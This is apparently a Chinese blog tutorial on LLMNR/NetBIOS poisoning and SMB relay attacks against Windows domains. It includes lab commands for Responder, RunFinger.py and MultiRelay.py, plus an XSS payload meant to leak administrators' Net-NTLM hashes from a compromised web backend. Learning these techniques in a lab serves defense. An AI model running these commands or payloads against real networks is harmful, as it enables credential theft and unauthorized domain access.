本文已参与「新人创作礼」活动.一起开启掘金创作之路。
一、NetBIOS和LLMNR:
NetBIOS和LLMNR(Link-LocalMulticast NameResolution)是Microsoft针对工作组和域设计的名称解析协议,主要用于局域网中的名称解析。当DNS解析失败时,Windows系统会使用NetBIOS和LLMNR搜索名称。这些协议只为本地连接设计。
NetBIOS
Netbios(Network Basic Input Output System):网络基本输入输出系统,是一种应用程序接口(API),系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址。几乎所有的局域网都是在NetBIOS协议的基础上工作的。在Windows操作系统中,默认情况下在安装 TCP/IP 协议后会自动安装NetBIOS。
LLMNR
LLMNR(Link-LocalMulticast NameResolution):链路本地多播名称解析,是一个基于协议的域名系统(DNS)数据包的格式。LLMNR协议类似于ARP协议:当主机访问另外一台主机时,如果只知道对方的主机名,则会向局域网内广播请求,询问该主机名对应的ip地址,然后收到该请求的主机首先会判断自己的主机名是否是这个,如果是的话则会回复一个ip地址,如果主机名不符合则丢弃。
二、重放攻击的NTLM认证过程
1、Client端还是正常向服务端发送登录请求,由于client端此时并不知道攻击者的存在,它以为请求是发送给了server端,但实际上它是先发给了攻击者;
2、然后攻击者再拿着这个用户名伪装成client端发送给server端,此时server端正常返回一个challenge(挑战码);
3、攻击者拿到这个challenge(挑战码)以后,再把它返回给client端;
4、Client 端拿到 challenge 在本地和自己的密码DES加密以后,会把这个response再次发送给攻击者,此时client依然认为攻击者就是server端;
5、最后,攻击者会拿着client端发过来的这个response再把它交给server端去验证server端此时到自己的数据库中对比,发现hash一致认证通过, 可见一次简单的smb中间人攻击就这样完成了。
在Client视角下,Attacker是它的服务端,模拟客户端完成访问请求。
在Server视角下,Attacker是它的客户端,伪造客户端完成身份验证。
三、攻击场景
1、工作组环境(用处不大)
在工作组环境里面,工作组中的机器之间相互没有信任关系,每台机器的账号密码 Hash 只是保存在自己的 SAM 文件中,这个时候 Relay 到别的机器可能性就不大,除非两台机器的账号密码一样,不然毫无意义。 但是如果账号密码相同的话,为什么不直接用哈希传递呢?
2、域环境(主要在域环境下攻击)
我们知道在域环境下所有域用户的账号密码 Hash 都保存在域控的 ntds.dit 里面。若没有限制域用户登录到某台机子,那就可以将该域用户 Relay 到别人的机子,或者是拿到域控的请求,将域控 Relay 到普通的机子,比如域管运维所在的机器。
四、SMB攻击条件
目标机不能开启smb签名,否则利用无效,一般情况下 Windows Server 机器会默认开启,而Windows [win7/8/8.1/10]默认不会开启,可以利用nmap探测smb是否关闭。
一些打了ms08-068 [KB957097] 补丁的老系统,如 Windows xp/2003 以下的系统,也无法利用。
注意⚠️:域环境下域控默认开启 smb 签名
五、获得Net-NTLMHash
Windows系统名称解析顺序为
本地hosts文件(%windir%\System32\drivers\etc\hosts)
DNS缓存/DNS服务器
链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)
如果在缓存中没有找到名称,DNS名称服务器又请求失败时,Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称,由于该过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。当用户输入不存在、包含错误或者DNS中没有的主机名时,通过工具(responder)监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。核心过程与arp欺骗类似,我们可以让攻击者作中间人,截获到客户端的Net-NTLMHash。
实验环境
攻击机(kali): 192.168.189.148
域控(win 2012): 192.168.189.193
1、利用Responder截获Net-NTLMHash
(1)、在kali中设置监听
sudo python Responder.py -I eth0 -v
2、在域控中请求一个不存在的系统名称
dir \bacsdads\c
3、在kali中成功截获到客户端的Net-NTLM Hash
六、Relay攻击
SMB Relay(SMB中继)攻击
实验环境
攻击机(kali):192.168.189.148
域控DC(win 2012): 192.168.189.193
域内机器(win 7): 192.168.189.194
1、修改Responder配置文件
修改一下responder的配置文件 Responder.conf,不让其对 hash 进行抓取。将SMB和HTTP的On改为Off
2、 启动 Responder.py ,开启监听
sudo python Responder.py -I eth0 -v
2、使用RunFinger.py脚本扫描域内机器的SMB签名的开放情况
可以看到域控开启了SMB签名,域内机器没有开启SMB签名
python RunFinger.py -i 192.168.189.0/24
3、 使用MultiRelay.py进行中继攻击
python MultiRelay.py -t 192.168.189.194 -u ALL
4、域管理员账号或域控所在机器触发无效名称解析
为什么要域管理员账号或域控所在机器触发无效名称解析了?因为进行网络连接时,我们可以使用普通域账号进行连接,但是权限很低,查看不了目录。所以需要使用域管理员进行连接。
这里我们在域控中触发无效名称解析
dir \sdsadaa\csds
5、kali中成功收到会话
模拟真实环境
当我们拿下内网一台web机器时,在其如管理后台Web插入一条XSS,当受害者访问后台时,我们便可以自动获取其Net-NTLM Hash
<script src=\assdds\asddd></script>
访问1.html
kali中同样收到会话,攻击成功